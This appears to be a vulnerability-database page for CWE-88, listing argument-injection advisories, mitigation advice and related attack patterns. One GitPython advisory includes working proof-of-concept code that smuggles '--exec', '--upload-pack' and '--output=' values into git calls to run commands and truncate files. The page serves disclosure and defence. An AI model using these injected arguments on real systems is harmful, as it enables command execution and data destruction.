CWE-88
AllowedImproper Neutralization of Argument Delimiters in a Command ('Argument Injection')
Abstraction: Base · Status: Draft
The product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string.
664 vulnerabilities reference this CWE, most recent first.
GHSA-94M6-39R7-R5V7
Vulnerability from github – Published: 2025-01-28 00:32 – Updated: 2025-01-28 00:32An argument injection vulnerability in the diagnose and import pac commands in WatchGuard Fireware OS before 12.8.1, 12.1.4, and 12.5.10 allows an authenticated remote attacker with unprivileged credentials to upload or read files to limited, arbitrary locations on WatchGuard Firebox and XTM appliances
{
"affected": [],
"aliases": [
"CVE-2022-31749"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-28T00:15:06Z",
"severity": "MODERATE"
},
"details": "An argument injection vulnerability in the diagnose and import pac commands in WatchGuard Fireware OS before 12.8.1, 12.1.4, and 12.5.10 allows an authenticated remote attacker with unprivileged credentials to upload or read files to limited, arbitrary locations on WatchGuard Firebox and XTM appliances",
"id": "GHSA-94m6-39r7-r5v7",
"modified": "2025-01-28T00:32:15Z",
"published": "2025-01-28T00:32:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31749"
},
{
"type": "WEB",
"url": "https://www.rapid7.com/blog/post/2022/06/23/cve-2022-31749-watchguard-authenticated-arbitrary-file-read-write-fixed"
},
{
"type": "WEB",
"url": "https://www.watchguard.com/wgrd-psirt/advisory/wgsa-2022-00019"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-9557-234J-7RV9
Vulnerability from github – Published: 2026-08-25 03:32 – Updated: 2026-09-08 18:39Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-284h-m62q-gf8w. This link is maintained to preserve external references.
Original Description
GitPython before 3.1.59 fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant quoted values into injected directives like core.hooksPath. Attackers can craft config files with embedded newlines that become live git directives after any unrelated GitPython config write, enabling arbitrary code execution via hook invocation.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "GitPython"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.1.58"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-08T18:39:17Z",
"nvd_published_at": "2026-08-25T02:16:52Z",
"severity": "CRITICAL"
},
"details": "## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of\u00a0GHSA-284h-m62q-gf8w. This link is maintained to preserve external references.\n\n## Original Description\nGitPython before 3.1.59 fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant quoted values into injected directives like core.hooksPath. Attackers can craft config files with embedded newlines that become live git directives after any unrelated GitPython config write, enabling arbitrary code execution via hook invocation.",
"id": "GHSA-9557-234j-7rv9",
"modified": "2026-09-08T18:39:17Z",
"published": "2026-08-25T03:32:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-284h-m62q-gf8w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78676"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-config-injection"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "Duplicate Advisory: Dormant multi-line git-config values are corrupted into live injected directives (e.g. core.hooksPath) on any unrelated GitConfigParser write, enabling RCE",
"withdrawn": "2026-09-08T18:39:17Z"
}
GHSA-956X-8GVW-WG5V
Vulnerability from github – Published: 2026-07-21 20:10 – Updated: 2026-09-08 15:28Summary
GitPython already know that --upload-pack / --exec are command-exec vectors, they are denylist in git/remote.py:535 and check by Git.check_unsafe_options() (git/cmd.py:963), the thing is this check him he is only call from fetch, pull, push and clone_from, everything else who build a git argv from caller values just go through, no check, three examples
Code analysis
Repo.archive (git/repo/base.py:1623) do self.git.archive("--", treeish, path, *kwargs), the treeish is after the --, but the kwargs get dashify by transform_kwarg (git/cmd.py:1487) and they land before it, so {"remote": ".", "exec": ""} give git archive --remote=. --exec= -- , the --remote spawn the upload-archive helper and --exec choose which binary that is, done, default git config, no protocol.ext.allow needed, and archive already document caller kwargs (format, prefix, path) so pass a dict is normal usage
repo.git.ls_remote(url, upload_pack=""), same builder, same result, it's exactly the kwarg gap that CVE-2026-42215 close for fetch/pull/push/clone_from, except the dynamic repo.git.(**user_dict) surface him he never got the fix
Repo.iter_commits / Repo.blame (git/objects/commit.py:348, git/repo/base.py:1199) put the rev before the --, no leading-dash check, a "branch name" like --output=/etc/whatever become git rev-list --output=... --, and git he open and truncate that file before he even validate the revision, the file is gone even if the command error right after
PoC
Released 3.1.50, git 2.51.0, stock config (git config --get protocol.ext.allow returns nothing here).
pip install GitPython # 3.1.50
Common setup for the three:
import io, os, tempfile, subprocess, git
d = tempfile.mkdtemp()
subprocess.run(['git','init','-q',d], check=True)
subprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a',
'commit','-q','--allow-empty','-m','init'], check=True)
repo = git.Repo(d)
tmp = tempfile.gettempdir()
- exec via archive (a service exports a repo and forwards the user's options dict):
m = os.path.join(tmp, 'gp_archive_check')
try: repo.archive(io.BytesIO(), **{'remote': '.', 'exec': 'touch ' + m})
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] marker present:', os.path.exists(m))
[*] Cmd('git') failed due to: exit code(128)
[+] marker present: True
- exec via ls_remote:
m = os.path.join(tmp, 'gp_lsremote_check')
try: repo.git.ls_remote('.', upload_pack='touch ' + m + ';')
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] marker present:', os.path.exists(m))
[*] Cmd('git') failed due to: exit code(128)
[+] marker present: True
- file clobber via a rev that looks like a ref:
v = os.path.join(tmp, 'release_notes.txt')
open(v,'w').write('do not delete\n')
print('[*] before:', repr(open(v).read()))
try: list(repo.iter_commits('--output=' + v))
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] after :', repr(open(v).read()), '<- truncated')
[*] before: 'do not delete\n'
[*] Cmd('git') failed due to: exit code(129)
[+] after : '' <- truncated
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.50"
},
"package": {
"ecosystem": "PyPI",
"name": "GitPython"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.51"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-67323"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-88"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T20:10:06Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nGitPython already know that --upload-pack / --exec are command-exec vectors, they are denylist in\ngit/remote.py:535 and check by Git.check_unsafe_options() (git/cmd.py:963), the thing is this\ncheck him he is only call from fetch, pull, push and clone_from, everything else who build a git\nargv from caller values just go through, no check, three examples\n\n## Code analysis\n\nRepo.archive (git/repo/base.py:1623) do self.git.archive(\"--\", treeish, *path, **kwargs), the\ntreeish is after the --, but the kwargs get dashify by transform_kwarg (git/cmd.py:1487) and\nthey land before it, so {\"remote\": \".\", \"exec\": \"\u003ccmd\u003e\"} give\ngit archive --remote=. --exec=\u003ccmd\u003e -- \u003crev\u003e, the --remote spawn the upload-archive helper and\n--exec choose which binary that is, done, default git config, no protocol.ext.allow needed, and\narchive already document caller kwargs (format, prefix, path) so pass a dict is normal usage\n\nrepo.git.ls_remote(url, upload_pack=\"\u003ccmd\u003e\"), same builder, same result, it\u0027s exactly the kwarg\ngap that CVE-2026-42215 close for fetch/pull/push/clone_from, except the dynamic\nrepo.git.\u003canything\u003e(**user_dict) surface him he never got the fix\n\nRepo.iter_commits / Repo.blame (git/objects/commit.py:348, git/repo/base.py:1199) put the rev\nbefore the --, no leading-dash check, a \"branch name\" like --output=/etc/whatever become\ngit rev-list --output=... --, and git he open and truncate that file before he even validate the\nrevision, the file is gone even if the command error right after\n\n## PoC\n\nReleased 3.1.50, git 2.51.0, stock config (`git config --get protocol.ext.allow` returns nothing here).\n\n```\npip install GitPython # 3.1.50\n```\n\nCommon setup for the three:\n\n```python\nimport io, os, tempfile, subprocess, git\nd = tempfile.mkdtemp()\nsubprocess.run([\u0027git\u0027,\u0027init\u0027,\u0027-q\u0027,d], check=True)\nsubprocess.run([\u0027git\u0027,\u0027-C\u0027,d,\u0027-c\u0027,\u0027user.email=a@b.c\u0027,\u0027-c\u0027,\u0027user.name=a\u0027,\n \u0027commit\u0027,\u0027-q\u0027,\u0027--allow-empty\u0027,\u0027-m\u0027,\u0027init\u0027], check=True)\nrepo = git.Repo(d)\ntmp = tempfile.gettempdir()\n```\n\n1. exec via archive (a service exports a repo and forwards the user\u0027s options dict):\n\n```python\nm = os.path.join(tmp, \u0027gp_archive_check\u0027)\ntry: repo.archive(io.BytesIO(), **{\u0027remote\u0027: \u0027.\u0027, \u0027exec\u0027: \u0027touch \u0027 + m})\nexcept git.exc.GitCommandError as e: print(\u0027[*]\u0027, str(e).splitlines()[0][:55])\nprint(\u0027[+] marker present:\u0027, os.path.exists(m))\n```\n```\n[*] Cmd(\u0027git\u0027) failed due to: exit code(128)\n[+] marker present: True\n```\n\n2. exec via ls_remote:\n\n```python\nm = os.path.join(tmp, \u0027gp_lsremote_check\u0027)\ntry: repo.git.ls_remote(\u0027.\u0027, upload_pack=\u0027touch \u0027 + m + \u0027;\u0027)\nexcept git.exc.GitCommandError as e: print(\u0027[*]\u0027, str(e).splitlines()[0][:55])\nprint(\u0027[+] marker present:\u0027, os.path.exists(m))\n```\n```\n[*] Cmd(\u0027git\u0027) failed due to: exit code(128)\n[+] marker present: True\n```\n\n3. file clobber via a rev that looks like a ref:\n\n```python\nv = os.path.join(tmp, \u0027release_notes.txt\u0027)\nopen(v,\u0027w\u0027).write(\u0027do not delete\\n\u0027)\nprint(\u0027[*] before:\u0027, repr(open(v).read()))\ntry: list(repo.iter_commits(\u0027--output=\u0027 + v))\nexcept git.exc.GitCommandError as e: print(\u0027[*]\u0027, str(e).splitlines()[0][:55])\nprint(\u0027[+] after :\u0027, repr(open(v).read()), \u0027\u003c- truncated\u0027)\n```\n```\n[*] before: \u0027do not delete\\n\u0027\n[*] Cmd(\u0027git\u0027) failed due to: exit code(129)\n[+] after : \u0027\u0027 \u003c- truncated\n```",
"id": "GHSA-956x-8gvw-wg5v",
"modified": "2026-09-08T15:28:24Z",
"published": "2026-07-21T20:10:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-956x-8gvw-wg5v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67323"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/pull/2163"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/commit/701ce32fe5ba8cb622c0e0342a376a6beb47d738"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/gitpython-before-command-injection-via-unguarded-git-options"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "GitPython: command injection via unguarded Git options in `Repo.archive()`, `git.ls_remote()`, and arbitrary file overwrite via `Repo.iter_commits()` / `Repo.blame()`"
}
GHSA-95JV-R6J9-P8XR
Vulnerability from github – Published: 2022-05-24 19:14 – Updated: 2022-05-24 19:14The Device42 Main Appliance before 17.05.01 does not sanitize user input in its Nmap Discovery utility. An attacker (with permissions to add or edit jobs run by this utility) can inject an extra argument to overwrite arbitrary files as the root user on the Remote Collector.
{
"affected": [],
"aliases": [
"CVE-2021-41316"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-09-17T15:15:00Z",
"severity": "HIGH"
},
"details": "The Device42 Main Appliance before 17.05.01 does not sanitize user input in its Nmap Discovery utility. An attacker (with permissions to add or edit jobs run by this utility) can inject an extra argument to overwrite arbitrary files as the root user on the Remote Collector.",
"id": "GHSA-95jv-r6j9-p8xr",
"modified": "2022-05-24T19:14:58Z",
"published": "2022-05-24T19:14:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-41316"
},
{
"type": "WEB",
"url": "https://blog.device42.com/2021/09/critical-fixes-in-17-05-01"
},
{
"type": "WEB",
"url": "https://docs.device42.com/auto-discovery/nmap-autodiscovery"
},
{
"type": "WEB",
"url": "https://docs.device42.com/auto-discovery/remote-collector-rc"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-95VJ-G5CR-7J53
Vulnerability from github – Published: 2022-05-13 01:22 – Updated: 2022-05-13 01:22mIRC before 7.55 allows remote command execution by using argument injection through custom URI protocol handlers. The attacker can specify an irc:// URI that loads an arbitrary .ini file from a UNC share pathname. Exploitation depends on browser-specific URI handling (Chrome is not exploitable).
{
"affected": [],
"aliases": [
"CVE-2019-6453"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-02-18T15:29:00Z",
"severity": "HIGH"
},
"details": "mIRC before 7.55 allows remote command execution by using argument injection through custom URI protocol handlers. The attacker can specify an irc:// URI that loads an arbitrary .ini file from a UNC share pathname. Exploitation depends on browser-specific URI handling (Chrome is not exploitable).",
"id": "GHSA-95vj-g5cr-7j53",
"modified": "2022-05-13T01:22:42Z",
"published": "2022-05-13T01:22:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-6453"
},
{
"type": "WEB",
"url": "https://github.com/proofofcalc/cve-2019-6453-poc"
},
{
"type": "WEB",
"url": "https://proofofcalc.com/advisories/20190218.txt"
},
{
"type": "WEB",
"url": "https://proofofcalc.com/cve-2019-6453-mIRC"
},
{
"type": "WEB",
"url": "https://twitter.com/proofofcalc/status/1097518413143003136"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/46392"
},
{
"type": "WEB",
"url": "https://www.mirc.com/news.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-96C9-2V9P-9CHW
Vulnerability from github – Published: 2024-01-17 18:31 – Updated: 2024-01-17 18:31A vulnerability in the application CLI of Cisco Prime Infrastructure and Cisco Evolved Programmable Network Manager could allow an authenticated, local attacker to gain escalated privileges. This vulnerability is due to improper processing of command line arguments to application scripts. An attacker could exploit this vulnerability by issuing a command on the CLI with malicious options. A successful exploit could allow the attacker to gain the escalated privileges of the root user on the underlying operating system.
{
"affected": [],
"aliases": [
"CVE-2023-20260"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-88"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-17T17:15:10Z",
"severity": "MODERATE"
},
"details": "A vulnerability in the application CLI of Cisco Prime Infrastructure and Cisco Evolved Programmable Network Manager could allow an authenticated, local attacker to gain escalated privileges. This vulnerability is due to improper processing of command line arguments to application scripts. An attacker could exploit this vulnerability by issuing a command on the CLI with malicious options. A successful exploit could allow the attacker to gain the escalated privileges of the root user on the underlying operating system.",
"id": "GHSA-96c9-2v9p-9chw",
"modified": "2024-01-17T18:31:38Z",
"published": "2024-01-17T18:31:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-20260"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-pi-epnm-wkZJeyeq"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-9766-V29C-4VM7
Vulnerability from github – Published: 2023-06-27 12:30 – Updated: 2023-07-06 16:02Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') vulnerability in Apache Software Foundation Apache Airflow ODBC Provider. In OdbcHook, A privilege escalation vulnerability exists in a system due to controllable ODBC driver parameters that allow the loading of arbitrary dynamic-link libraries, resulting in command execution. Starting version 4.0.0 driver can be set only from the hook constructor. This issue affects Apache Airflow ODBC Provider: before 4.0.0.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "apache-airflow-providers-odbc"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-34395"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": true,
"github_reviewed_at": "2023-06-30T20:26:04Z",
"nvd_published_at": "2023-06-27T12:15:13Z",
"severity": "HIGH"
},
"details": "Improper Neutralization of Argument Delimiters in a Command (\u0027Argument Injection\u0027) vulnerability in Apache Software Foundation Apache Airflow ODBC Provider.\nIn OdbcHook, A privilege escalation vulnerability exists in a system due to controllable ODBC driver parameters that allow the loading of arbitrary dynamic-link libraries, resulting in command execution.\nStarting version 4.0.0 driver can be set only from the hook constructor.\nThis issue affects Apache Airflow ODBC Provider: before 4.0.0.\n\n",
"id": "GHSA-9766-v29c-4vm7",
"modified": "2023-07-06T16:02:24Z",
"published": "2023-06-27T12:30:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34395"
},
{
"type": "WEB",
"url": "https://github.com/apache/airflow/pull/31713"
},
{
"type": "WEB",
"url": "https://github.com/apache/airflow/commit/2844dad1c762f5c7dd1271866d3661bf66657300"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/airflow"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/l26yykftzbhc9tgcph8cso88bc2lqwwd"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Apache Airflow ODBC Provider Argument Injection vulnerability"
}
GHSA-97GQ-9PF7-VWVC
Vulnerability from github – Published: 2022-05-24 19:02 – Updated: 2022-05-24 19:02In JetBrains TeamCity before 2020.2.3, argument injection leading to remote code execution was possible.
{
"affected": [],
"aliases": [
"CVE-2021-31909"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-05-11T12:15:00Z",
"severity": "CRITICAL"
},
"details": "In JetBrains TeamCity before 2020.2.3, argument injection leading to remote code execution was possible.",
"id": "GHSA-97gq-9pf7-vwvc",
"modified": "2022-05-24T19:02:08Z",
"published": "2022-05-24T19:02:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-31909"
},
{
"type": "WEB",
"url": "https://blog.jetbrains.com"
},
{
"type": "WEB",
"url": "https://blog.jetbrains.com/blog/2021/05/07/jetbrains-security-bulletin-q1-2021"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-97VG-W35F-V8MJ
Vulnerability from github – Published: 2022-05-24 17:33 – Updated: 2022-05-24 17:33A vulnerability in the remote management feature of Cisco SD-WAN vManage Software could allow an authenticated, local attacker to inject arbitrary commands and potentially gain elevated privileges. The vulnerability is due to improper validation of commands to the remote management CLI of the affected application. An attacker could exploit this vulnerability by sending malicious requests to the affected application. A successful exploit could allow the attacker to inject arbitrary commands and potentially gain elevated privileges.
{
"affected": [],
"aliases": [
"CVE-2020-27129"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-11-06T19:15:00Z",
"severity": "HIGH"
},
"details": "A vulnerability in the remote management feature of Cisco SD-WAN vManage Software could allow an authenticated, local attacker to inject arbitrary commands and potentially gain elevated privileges. The vulnerability is due to improper validation of commands to the remote management CLI of the affected application. An attacker could exploit this vulnerability by sending malicious requests to the affected application. A successful exploit could allow the attacker to inject arbitrary commands and potentially gain elevated privileges.",
"id": "GHSA-97vg-w35f-v8mj",
"modified": "2022-05-24T17:33:19Z",
"published": "2022-05-24T17:33:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-27129"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-vmanage-privilege-zPmMf73k"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-98HC-4M3W-636X
Vulnerability from github – Published: 2022-05-14 01:54 – Updated: 2022-05-14 01:54kernel/omap/drivers/misc/gcx/gcioctl/gcif.c in the kernel component in Amazon Kindle Fire HD (3rd) Fire OS 4.5.5.3 allows attackers to inject a crafted argument via the argument of an ioctl on device /dev/gcioctl with the command 1077435789 and cause a kernel crash.
{
"affected": [],
"aliases": [
"CVE-2018-11024"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-10-16T22:29:00Z",
"severity": "HIGH"
},
"details": "kernel/omap/drivers/misc/gcx/gcioctl/gcif.c in the kernel component in Amazon Kindle Fire HD (3rd) Fire OS 4.5.5.3 allows attackers to inject a crafted argument via the argument of an ioctl on device /dev/gcioctl with the command 1077435789 and cause a kernel crash.",
"id": "GHSA-98hc-4m3w-636x",
"modified": "2022-05-14T01:54:10Z",
"published": "2022-05-14T01:54:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-11024"
},
{
"type": "WEB",
"url": "https://github.com/datadancer/HIAFuzz/blob/master/CVEs.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Strategy: Parameterization
Where possible, avoid building a single string that contains the command and its arguments. Some languages or frameworks have functions that support specifying independent arguments, e.g. as an array, which is used to automatically perform the appropriate quoting or escaping while building the command. For example, in PHP, escapeshellarg() can be used to escape a single argument to system(), or exec() can be called with an array of arguments. In C, code can often be refactored from using system() - which accepts a single string - to using exec(), which requires separate function arguments for each parameter.
Mitigation
Strategy: Input Validation
Understand all the potential areas where untrusted inputs can enter your product: parameters or arguments, cookies, anything read from the network, environment variables, request headers as well as content, URL components, e-mail, files, databases, and any external systems that provide data to the application. Perform input validation at well-defined interfaces.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation
Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.
Mitigation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control.
- Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.
Mitigation
When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.
Mitigation
When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
CAPEC-137: Parameter Injection
An adversary manipulates the content of request parameters for the purpose of undermining the security of the target. Some parameter encodings use text characters as separators. For example, parameters in a HTTP GET message are encoded as name-value pairs separated by an ampersand (&). If an attacker can supply text strings that are used to fill in these parameters, then they can inject special characters used in the encoding scheme to add or modify parameters. For example, if user input is fed directly into an HTTP GET request and the user provides the value "myInput&new_param=myValue", then the input parameter is set to myInput, but a new parameter (new_param) is also added with a value of myValue. This can significantly change the meaning of the query that is processed by the server. Any encoding scheme where parameters are identified and separated by text characters is potentially vulnerable to this attack - the HTTP GET encoding used above is just one example.
CAPEC-174: Flash Parameter Injection
An adversary takes advantage of improper data validation to inject malicious global parameters into a Flash file embedded within an HTML document. Flash files can leverage user-submitted data to configure the Flash document and access the embedding HTML document.
CAPEC-41: Using Meta-characters in E-mail Headers to Inject Malicious Payloads
This type of attack involves an attacker leveraging meta-characters in email headers to inject improper behavior into email programs. Email software has become increasingly sophisticated and feature-rich. In addition, email applications are ubiquitous and connected directly to the Web making them ideal targets to launch and propagate attacks. As the user demand for new functionality in email applications grows, they become more like browsers with complex rendering and plug in routines. As more email functionality is included and abstracted from the user, this creates opportunities for attackers. Virtually all email applications do not list email header information by default, however the email header contains valuable attacker vectors for the attacker to exploit particularly if the behavior of the email client application is known. Meta-characters are hidden from the user, but can contain scripts, enumerations, probes, and other attacks against the user's system.
CAPEC-460: HTTP Parameter Pollution (HPP)
An adversary adds duplicate HTTP GET/POST parameters by injecting query string delimiters. Via HPP it may be possible to override existing hardcoded HTTP parameters, modify the application behaviors, access and, potentially exploit, uncontrollable variables, and bypass input validation checkpoints and WAF rules.
CAPEC-88: OS Command Injection
In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.